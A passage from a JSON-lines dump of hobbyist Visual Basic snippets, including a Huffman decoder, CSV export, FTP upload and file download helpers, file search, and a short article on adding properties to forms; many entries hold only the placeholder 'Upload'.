\"HuffmanDecode()\", \"The data either was not compressed with HE3 or is corrupt (identification string not found)\"\n Exit Sub\n End If\n \n CurrPos = 5\n \n 'Extract the checksum\n CheckSum = ByteArray(CurrPos - 1)\n CurrPos = CurrPos + 1\n \n 'Extract the length of the original string\n Call CopyMem(ResultLen, ByteArray(CurrPos - 1), 4)\n CurrPos = CurrPos + 4\n lResultLen = ResultLen\n \n 'If the compressed string is empty we can\n 'skip the function right here\n If (ResultLen = 0) Then Exit Sub\n \n 'Create the result array\n ReDim Result(0 To ResultLen - 1)\n \n 'Get the number of characters used\n Call CopyMem(Count, ByteArray(CurrPos - 1), 2)\n CurrPos = CurrPos + 2\n \n 'Get the used characters and their\n 'respective bit sequence lengths\n For i = 1 To Count\n With CharValue(ByteArray(CurrPos - 1))\n CurrPos = CurrPos + 1\n .Count = ByteArray(CurrPos - 1)\n CurrPos = CurrPos + 1\n ReDim .Data(0 To .Count - 1)\n End With\n Next\n \n 'Create a small array to hold the bit values,\n 'this is (still) faster than calculating on-fly\n For i = 0 To 7\n BitValue(i) = 2 ^ i\n Next\n \n 'Extract the Huffman Tree, converting the\n 'byte sequence to bit sequences\n ByteValue = ByteArray(CurrPos - 1)\n CurrPos = CurrPos + 1\n BitPos = 0\n For i = 0 To 255\n With CharValue(i)\n If (.Count > 0) Then\n For j = 0 To (.Count - 1)\n If (ByteValue And BitValue(BitPos)) Then .Data(j) = 1\n BitPos = BitPos + 1\n If (BitPos = 8) Then\n ByteValue = ByteArray(CurrPos - 1)\n CurrPos = CurrPos + 1\n BitPos = 0\n End If\n Next\n End If\n End With\n Next\n If (BitPos = 0) Then CurrPos = CurrPos - 1\n \n 'Create the Huffman Tree\n NodesCount = 1\n Nodes(0).LeftNode = -1\n Nodes(0).RightNode = -1\n Nodes(0).ParentNode = -1\n Nodes(0).Value = -1\n For i = 0 To 255\n Call CreateTree(Nodes(), NodesCount, i, CharValue(i))\n Next\n \n 'Decode the actual data\n ResultLen = 0\n For CurrPos = CurrPos To ByteLen\n ByteValue = ByteArray(CurrPos - 1)\n For BitPos = 0 To 7\n If (ByteValue And BitValue(BitPos)) Then\n NodeIndex = Nodes(NodeIndex).RightNode\n Else\n NodeIndex = Nodes(NodeIndex).LeftNode\n End If\n If (Nodes(NodeIndex).Value > -1) Then\n Result(ResultLen) = Nodes(NodeIndex).Value\n ResultLen = ResultLen + 1\n If (ResultLen = lResultLen) Then GoTo DecodeFinished\n NodeIndex = 0\n End If\n Next\n If (CurrPos Mod 10000 = 0) Then\n NewProgress = CurrPos / ByteLen * PROGRESS_DECODING\n If (NewProgress <> CurrProgress) Then\n CurrProgress = NewProgress\n Application.SysCmd acSysCmdUpdateMeter, CurrProgress\n Application.SysCmd acSysCmdUpdateMeter, CurrProgress\n End If\n End If\n Next\nDecodeFinished:\n 'Verify data to check for corruption.\n Char = 0\n For i = 0 To (ResultLen - 1)\n Char = Char Xor Result(i)\n If (i Mod 10000 = 0) Then\n NewProgress = i / ResultLen * PROGRESS_CHECKCRC + PROGRESS_DECODING\n If (NewProgress <> CurrProgress) Then\n CurrProgress = NewProgress\n Application.SysCmd acSysCmdUpdateMeter, CurrProgress\n End If\n End If\n Next\n If (Char <> CheckSum) Then\n Err.Raise vbObjectError, \"clsHuffman.Decode()\", \"The data might be corrupted (checksum did not match expected value)\"\n End If\n 'Return the uncompressed string\n ReDim ByteArray(0 To ResultLen - 1)\n Call CopyMem(ByteArray(0), Result(0), ResultLen)\n \n 'Make sure we get a \"100%\" progress message\n If (CurrProgress <> 100) Then\n Application.SysCmd acSysCmdUpdateMeter, 100\n End If\nApplication.SysCmd acSysCmdClearStatus\nEnd Sub\nPrivate Sub CreateBitSequences(Nodes() As HUFFMANTREE, ByVal NodeIndex As Integer, Bytes As ByteArray, CharValue() As ByteArray)\n Dim NewBytes As ByteArray\n \n 'If this is a leaf we set the characters bit\n 'sequence in the CharValue array\n If (Nodes(NodeIndex).Value > -1) Then\n CharValue(Nodes(NodeIndex).Value) = Bytes\n Exit Sub\n End If\n \n 'Traverse the left child\n If (Nodes(NodeIndex).LeftNode > -1) Then\n NewBytes = Bytes\n NewBytes.Data(NewBytes.Count) = 0\n NewBytes.Count = NewBytes.Count + 1\n Call CreateBitSequences(Nodes(), Nodes(NodeIndex).LeftNode, NewBytes, CharValue)\n End If\n \n 'Traverse the right child\n If (Nodes(NodeIndex).RightNode > -1) Then\n NewBytes = Bytes\n NewBytes.Data(NewBytes.Count) = 1\n NewBytes.Count = NewBytes.Count + 1\n Call CreateBitSequences(Nodes(), Nodes(NodeIndex).RightNode, NewBytes, CharValue)\n End If\n \nEnd Sub\nPrivate Function FileExist(Filename As String) As Boolean\n On Error GoTo FileDoesNotExist\n \n Call FileLen(Filename)\n FileExist = True\n Exit Function\n \nFileDoesNotExist:\n FileExist = False\n \nEnd Function\n\n"},{"WorldId":1,"id":33359,"LineNumber":1,"line":"Function ckReplace(StrIN As String, Optional StripChar As String = \"\", Optional ReplaceChar As String = \"\") As String\n Dim x As Integer\n x = 1\n If StripChar <> \"\" Then\n Do Until x <= 0 Or StripChar = ReplaceChar\n x = InStr(1, StrIN, StripChar)\n If x > 0 Then StrIN = left$(StrIN, x - 1) & ReplaceChar & Right$(StrIN, Len(StrIN) - (x - 1) - Len(StripChar))\n Loop\n Else\n For x = 1 To Len(StrIN)\n If x > Len(StrIN) Then Exit For\n If Asc(Mid$(StrIN, x, 1)) < 32 Or Asc(Mid$(StrIN, x, 1)) > 126 Then\n StrIN = left$(StrIN, x - 1) & ReplaceChar & Right$(StrIN, Len(StrIN) - (x - 1) - 1)\n If ReplaceChar = \"\" Then x = x - 1\n End If\n Next\n End If\n ckReplace = StrIN\nEnd Function"},{"WorldId":1,"id":28980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14689,"LineNumber":1,"line":"Sub dB_RsToCSVFile(Rs As ADODB.Recordset, FileName As String, Optional Delimiter As String = \",\")\n Dim fh As Integer\n Dim FileIsOpen As Boolean, s As Variant\n Dim t As Integer\n Dim Buf As String, TempStr As String\n FileIsOpen = False\n On Error GoTo Err_Out\n fh = FreeFile()\n Open FileName For Output As fh\n FileIsOpen = True\n Buf = \"\"\n For t = 0 To Rs.Fields.Count - 1\n If Buf = \"\" Then\n Buf = \"\"\"\" & Rs.Fields(t).Name & \"\"\"\"\n Else\n Buf = Buf & Delimiter & \"\"\"\" & Rs.Fields(t).Name & \"\"\"\"\n End If\n Next t\n Print #fh, Buf\n Do While Not Rs.EOF\n Buf = \"\"\n For t = 0 To Rs.Fields.Count - 1\n If IsNull(Rs.Fields(t).Value) Then\n TempStr = \"\"\n Else\n TempStr = Rs.Fields(t).Value\n End If\n If Buf = \"\" Then\n Buf = \"\"\"\" & TempStr & \"\"\"\"\n Else\n Buf = Buf & Delimiter & \"\"\"\" & TempStr & \"\"\"\"\n End If\n Next t\n Print #fh, Buf\n Rs.MoveNext\n Loop\n Close fh\n Exit Sub\nErr_Out:\n If FileIsOpen Then\n Close fh\n End If\n MsgBox \"There was an error: \" & Error, vbOKOnly, \"The file was not created\"\nEnd Sub"},{"WorldId":1,"id":21887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23454,"LineNumber":1,"line":"Public Function UploadFile(InetControl As Inet, ByVal strURL As String, ByVal strUserName As String, ByVal strPassword As String, ByVal strLocalFile As String, ByVal strRemoteFile As String) As Boolean\n ' INPUTS (ARGUMENTS/PARAMETERS)\n ' ┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»\n ' InetControl: The Inet control to use for the operation.\n ' strURL: The server's URL that you want to upload to. MOST SERVERS\n ' REQUIRE USERNAMES AND PASSWORDS SO DON'T THINK THAT YOU CAN UPLOAD\n ' WITHOUT AUTHORIZATION.\n ' strUserName: The username used to login to the server.\n ' strPassword: The password used to login to the server.\n ' strLocalFile: The LOCAL path AND file name of the file to upload.\n ' strRemoteFile: The REMOTE path AND file name to save the file as on\n ' the server. NOTE: IT MUST NOT BE A FULL PATH! USE '/' FOR THE ROOT\n ' DIRECTORY!\n '\n ' OUTPUTS (RETURN VALUES)\n ' ┬»┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬»\n ' This function returns TRUE if the upload WAS successful.\n ' This function returns FALSE if the upload WAS NOT successful.\n '\n ' EXAMPLE:\n ' ┬»┬»┬»┬»┬»┬»┬»\n ' Example: Put the following commented line of code in a command button:\n ' blnUpload = UploadFile(Inet1, \"the.url.DO.NOT.USE.HTTP://\", \"server_username\", \"server_password\", \"C:\\The Local Path\\To The Local File\\The File.exe\", \"/public_html/the_remote_path/thefile.exe\")\n ' blnUpload will return TRUE if the upload was successful and FALSE if not.\n ' NOTICE: YOU MAY NEED TO USE '/public_html' BECAUSE THAT IS THE HOME\n ' DIRECTORY OF MOST SERVERS!\n '\n ' NOW TO THE REAL CODE:\n ' ┬»┬»┬» ┬»┬» ┬»┬»┬» ┬»┬»┬»┬» ┬»┬»┬»┬»\n '\n ' If we run into an error, go to the label statement 'ErrHandle_UploadFile'\n On Error GoTo ErrHandle_UploadFile\n \n ' If the selected Inet control is still processing it's last operation,\n ' goto the label statement 'ErrHandle_UploadFile'\n If InetControl.StillExecuting Then GoTo ErrHandle_UploadFile\n \n ' Make the code simpler by using the With statement.\n With InetControl\n ' Cancel the last request if one as slipped in between the last line\n ' of code and this one.\n .Cancel\n ' Set the Protocol of the selected Inet control.\n .Protocol = icFTP\n ' Set the URL of the selected Inet control. YOU MUST SET THE URL BEFORE\n ' YOU SET THE USERNAME AND PASSWORD.\n .URL = strURL\n ' Set the UserName of the selected Inet control.\n .UserName = strUserName\n ' Set the Password of the selected Inet control.\n .Password = strPassword\n End With\n \n ' Execute the 'PUT' command using the selected Inet control. The first param\n ' of the PUT command is the LOCAL file path and name. The second (last) param\n ' of the PUT command is the REMOTE file path and name.\n InetControl.Execute , \"PUT \" & Chr(34) & strLocalFile & Chr(34) & \" \" & Chr(34) & strRemoteFile & Chr(34)\n \n ' Create a loop and kill it when the selected Inet control is FINISHED executing\n ' it's last command (in our case, the last command is 'PUT').\n Do While InetControl.StillExecuting\n ' Allow the processor to carry on other tasks\n DoEvents\n ' Continue the loop.\n Loop\n \n ' The upload WAS successful, no errors. Set 'UploadFile' to TRUE.\n UploadFile = True\n ' Exit the function so that we don't trip anymore events.\n Exit Function\n \n ' Finally, the 'ErrHandle_UploadFile' label statement. This label statement,\n ' when accessed, will trigger the code below it.\nErrHandle_UploadFile:\n ' In our case, if we had an error or something, we want to return a FALSE\n ' value telling the user that the upload WAS NOT successful.\n UploadFile = False\n ' Then we exit the function just incase an error triggered this label\n ' statement.\n Exit Function\nEnd Function\n"},{"WorldId":1,"id":34521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13043,"LineNumber":1,"line":"Public Function FormatFancyNumber(ByVal sNumber As String) As String\n Dim iTemp As Integer\n iTemp = Int(sNumber)\n If 4 < iTemp And iTemp < 20 Then\n FormatFancyNumber = sNumber & \"th\"\n Else\n Select Case iTemp Mod 10\n Case 1\n FormatFancyNumber = sNumber & \"st\"\n Case 2\n FormatFancyNumber = sNumber & \"nd\"\n Case 3\n FormatFancyNumber = sNumber & \"rd\"\n Case Else\n FormatFancyNumber = sNumber & \"th\"\n End Select\n End If\nEnd Function"},{"WorldId":1,"id":13005,"LineNumber":1,"line":"Public Sub load_list_box_two(MyList As ListView, MyFile As String)\nMyList.ListItems.Clear\nMyList.View = lvwReport\nOpen MyFile For Input As #1\n \n Input #1, one$, two$\n X = MyList.ColumnHeaders.Add(, , one$)\n X = MyList.ColumnHeaders.Add(, , two$)\n Do Until EOF(1)\n Input #1, one$, two$\n X = MyList.ListItems.Add(, , one$).ListSubItems.Add(, , two$)\n Loop\nClose #1\nEnd Sub"},{"WorldId":1,"id":13021,"LineNumber":1,"line":"Public Sub FileToHTML(InputFile As String, OutputFile As String, title As String, bgcolor As String, textcolor As String)\n newline$ = Chr$(13) + Chr$(10)\n Open InputFile For Input As #1\n Open OutputFile For Output As #2\n \n If title = \"\" Then title = \"No Document Title\"\n If bgcolor = \"\" Then bgcolor = \"white\"\n If textcolor = \"\" Then textcolor = \"black\"\n \n Print #2, \"<HTML>\" + newline$\n Print #2, \"<HEAD>\" + newline$\n Print #2, \"<TITLE>\" + title + \"</TITLE>\" + newline$\n Print #2, \"</HEAD>\" + newline$\n Print #2, \"<BODY bgcolor=\" + bgcolor + \" text=\" + textcolor + \">\" + newline$\n \n Do Until EOF(1)\n Line Input #1, myLine$\n Print #2, myLine$ + \" \"\n Loop\n \n Print #2, newline$\n Print #2, \"</BODY>\" + newline$\n Print #2, \"</HTML>\"\n Close #1\n Close #2\nEnd Sub\n"},{"WorldId":1,"id":13366,"LineNumber":1,"line":"Public Sub GetInternetFile(Inet1 As Inet, myURL As String, DestDIR As String)\n' Written by: Blake Pell\nDim myData() As Byte\nIf Inet1.StillExecuting = True Then Exit Sub\nmyData() = Inet1.OpenURL(myURL, icByteArray)\nFor X = Len(myURL) To 1 Step -1\n If Left$(Right$(myURL, X), 1) = \"/\" Then RealFile$ = Right$(myURL, X - 1)\nNext X\nmyFile$ = DestDIR + \"\\\" + RealFile$\nOpen myFile$ For Binary Access Write As #1\n Put #1, , myData()\nClose #1\nEnd Sub"},{"WorldId":1,"id":13413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24305,"LineNumber":1,"line":"Public Function compare_files(fileOne As String, fileTwo As String) As Boolean\n \n Dim fileOneContent As String\n Dim fileTwoContent As String\n Dim temp As String\n \n Open fileOne For Input As #1\n Do Until EOF(1)\n Line Input #1, temp\n fileOneContent = fileOneContent + temp\n Loop\n Close #1\n \n Open fileTwo For Input As #1\n Do Until EOF(1)\n Line Input #1, temp\n fileTwoContent = fileTwoContent + temp\n Loop\n Close #1\n \n If fileOneContent = fileTwoContent Then\n compare_files = True\n Else\n compare_files = False\n End If\n \nEnd Function\n"},{"WorldId":1,"id":12959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14249,"LineNumber":1,"line":"'Chris King 01/08/2000 c_king@mtv.com\n \n Option Explicit \nPublic Function SearchDirs(Curpath$, strFName$)\n \n Dim strProg$\n Dim dirs%\n Dim dirbuf$()\n Dim hItem&\n Dim i%\n Dim rtn As Boolean\n \n If Curpath$ = \"\" Then Exit Function\n If strFName$ = \"\" Then Exit Function\n \n If Right(strFName$, 1) = VBBACKSLASH Then\n strFName = Left(strFName, InStr(1, strFName, VBBACKSLASH, vbTextCompare) - 1)\n End If\n \n If Right(Curpath$, 1) <> VBBACKSLASH Then\n Curpath$ = Curpath$ & VBBACKSLASH\n End If\n \n hItem& = FindFirstFile(Curpath$ & VBALLFILES, WFD)\n If hItem& <> INVALID_HANDLE_VALUE Then\n \n Do\n \n If (WFD.dwFileAttributes And vbDirectory) Then\n \n If Asc(WFD.cFileName) <> VBKEYDOT Then\n If (dirs% Mod 10) = 0 Then ReDim Preserve dirbuf$(dirs% + 10)\n dirs% = dirs% + 1\n dirbuf$(dirs%) = Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)\n End If\n \n \n End If\n \n \n strProg$ = Left(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)\n If UCase(strProg$) = UCase(strFName$) Then\n SearchDirs = True\n Exit Function\n Else\n \n SearchDirs = False\n \n End If\n \n DoEvents\n \n Loop While FindNextFile(hItem&, WFD)\n Call FindClose(hItem&)\n \n End If\n \n For i% = 1 To dirs%\n rtn = SearchDirs(Curpath$ & dirbuf$(i%) & VBBACKSLASH, strFName$)\n SearchDirs = rtn\n If rtn Then Exit Function\n Next i%\nEnd Function\n"},{"WorldId":1,"id":14493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25707,"LineNumber":1,"line":"Properties: Not Just For Classes Anymore\nOften times, I've run into a situation where I say to myself "I\nwish I could've reused the same form for this purpose." Early on, it was just that; I\nwould copy a form's code and controls over to a new one, adjusting as necessary. Of\ncourse, this led to bloated executables and more spaghetti code than I care to remember\n(it still makes me shudder to think about it.)\nHowever, I did find a unique solution, whilst developing something\nelse entirely: a class module. When developing the properties of a particular class, I\nwondered if it would be possible to actually do the same to a form. In essence, take a\nstandard VB form and then add my own custom properties. I had done it before using custom\nmethods, but would VB throw up on me for doing something I shouldn't?\nSurprisingly, VB didn't complain one bit, and I was able to reduce\nfour forms that were exactly the same except for a few "under-the-hood" changes.\nThese changes were easily be implemented as properties, and what would have taken me\nseveral hours to create and debug, now only took 15 minutes. In the rest of this article,\nI'll discuss and show how this methodology can be used to reduce development time even\nmore, using a simple but powerful example.\nStart up Visual Basic with a Standard EXE project. In the project,\nadd another, blank form. Inside this new form, open up the Code Editor window. In the\nGeneral Declarations area, type the following:\nDim mstrTable As String \n \nAnd then type: \n \nPublic Property Let Table(strTable As String)\nYou'll pop into the new property's code, just as if you typed it in\na class module. Inside this new property, type the following: \n \nPublic Property Let Table(strTable As String) \n \nmstrTable = Trim(strTable) \n \nIf Not IsValid(mstrTable) Then \n Err.Raise 30000, "Data Table Editor", "Table name\nappears to be invalid." \n Exit Property \nEnd If \n \nMe.Caption = "Table Editor - " & mstrTable \nGetTableItems mstrTable \nMe.Visible = True \nMe.ZOrder 0 \n \nEnd Property \n \nIn the example above, setting the new Table property for the form performs several\nfunctions. First, it removes leading and trailing spaces, then checks to see if the name\ngiven is, in fact valid ( the function IsValid is not shown here, but rather used to point\nout that your validation can remain within a form). If the table name is not valid, then\nan error is raised. This way, the calling form would have something as follows: \n \nOn Local Error Resume Next \n \nfrmEdit.Table = "monkeys" \nIf Err.Number = 30000 Then Exit Sub \n \nHowever, if the table name given is valid, then it goes on to change the caption to\nreflect the new table name, and the items from that table are retrieved using another\nprivate subroutine called GetTableItems. Once that has completed, then the form is made\nvisible, and moved to the forefront of the screen. \n \nCaveats \n \nUsing this method can save time by reducing the amount of code you type over and over.\nHowever, it is advisable to use the Load statement to cache the form in memory during\nprogram load time, so as to avoid any "Object or With Variable Not Set" errors. \n \nIs This The End Of Zombie Shakespeare? \n \nNope. You can use this method to infinitely extend a form. Just remember to make sure you\ngeneralize it enough so that it encompasses the job you want to do, and that you cache it\nup in memory during program load. \n \nHappy Programming! \n\n"},{"WorldId":1,"id":33067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21074,"LineNumber":1,"line":"Private Declare Function sndPlaySound32 Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\n' If you use this at Windows Startup, disable the \"Start Windows\" sound in the Control Panel > Sounds utility.\nSub PlaySound()\n Dim fsoFileSystem, fsoFolder, fsoFile, fsoFolderFiles\n Dim strWavs(0 To 50) As String\n Dim intCounter As Integer\n Dim strFileName As String\n \n intCounter = 0\n \n Set fsoFileSystem = CreateObject(\"Scripting.FileSystemObject\")\n Set fsoFolder = fsoFileSystem.GetFolder(\"c:\\winnt\\media\") '<< OR WHATEVER FOLDER YOU WANT\n Set fsoFolderFiles = fsoFolder.Files\n For Each fsoFile In fsoFolderFiles\n If Right(fsoFile.Name, 4) = \".wav\" Then\n strWavs(intCounter) = fsoFile.Name\n intCounter = intCounter + 1\n End If\n Next\n \n strFileName = strWavs(Int(Rnd * intCounter))\n Call sndPlaySound32(fsoFolder & \"\\\" & strFileName, 0)\nEnd Sub\nPrivate Sub Form_Load()\n Form1.Visible = False\n PlaySound\n End\n '(pretty simple, huh?)\nEnd Sub"},{"WorldId":1,"id":13430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26717,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13244,"LineNumber":1,"line":"'Replace the text in the first timer with the following'\nPrivate Sub Timer1_Timer()\nLabel1.Caption = Time\nEnd Sub\n'Replace the text in the Second timer with the following'\nPrivate Sub Timer2_Timer()\nLabel2.Caption = Date\nEnd Sub\n'Remember make sure you set the timer intervals to 1'\n'and make sure the labels are blank'\n'otherwise it wont work!'"},{"WorldId":1,"id":13246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14470,"LineNumber":1,"line":"\n'Saves the image Filename (any kind Picturebox supports: jpg, gif, ico, bmp, wmf..) in to\n'the current record of the recordset rsImg, using the field FieldName (must be a memo field!!!)\n'USE: SaveImage(\"c:\\sample.gif\", rs)\nPublic Sub SaveImage(Filename As String, rsImg As Recordset, Optional FieldName As String = \"Image\")\n On Error Goto EH\n Dim fh As Integer\n Dim strFile As String\n \n If rsImg.BOF Or rsImg.EOF Then Err.Raise vbObjectError + 1, \"SaveImage\", \"EOF or BOF encountered\"\n \n fh = FreeFile\n Open Filename For Binary Access Read As fh\n \n strFile = String(LOF(fh), \" \")\n Get fh, , strFile\n \n Close fh\n \n rsImg(FieldName) = strFile\n Exit Sub\nEH:\nEnd Sub\n'Reads the image (any kind Picturebox supports: jpg, gif, ico, bmp, wmf..) from \n'the current record of the recordset rsImg, using the field FieldName, and returns it. \n'USE: picture1.picture=ReadImage(rsImg)\nPublic Function ReadImage(rsImg As Recordset, Optional FieldName As String = \"Image\") As IPictureDisp\n On Error Goto EH\n Dim strFile As String\n Dim fh As Integer\n \n If rsImg.BOF Or rsImg.EOF Then Err.Raise vbObjectError + 2, \"EeadImage\", \"EOF or BOF encountered\"\n \n ChDir App.Path\n strFile = rsImg(FieldName)\n \n fh = FreeFile\n Open GetTempDir & \"tmpimage.temp\" For Binary Access Write As fh\n Put #fh, , strFile\n Close fh\n \n \n Set LeerImagen = LoadPicture(GetTempDir & \"tmpimage.temp\")\n \n Kill GetTempDir & \"tmpimage.temp\"\n Exit Function\nEH: \nEnd Function\n\nPrivate Function GetTempDir() As String\n GetTempDir = String(255, \" \")\n GetTempPath 255, GetTempDir\n GetTempDir = Left(Trim(GetTempDir), Len(Trim(GetTempDir)) - 1)\nEnd Function\n"},{"WorldId":1,"id":13369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14086,"LineNumber":1,"line":"Function SecsToMins(Secs As Integer)\nIf Secs < 60 Then SecsToMins = \"00:\" & Format(Secs, \"00\") Else SecsToMins = Format(Secs / 60, \"00\") & \":\" & Format(Secs - Format(Secs / 60, \"00\") * 60, \"00\")\n'if the seconds are less than 60 it will put a \"00:\" in front of it and the seconds formatted so if it was 6 seconds then it would be 06\n'using format is pretty helpful\n'if the seconds are 60 or are more than 60 it will\n'divide the amount of seconds by 60 to get minutes\n'then comes the harder to understand part(for some people)\n'to get the seconds you have to format your seconds by 60 so there are no decimals. 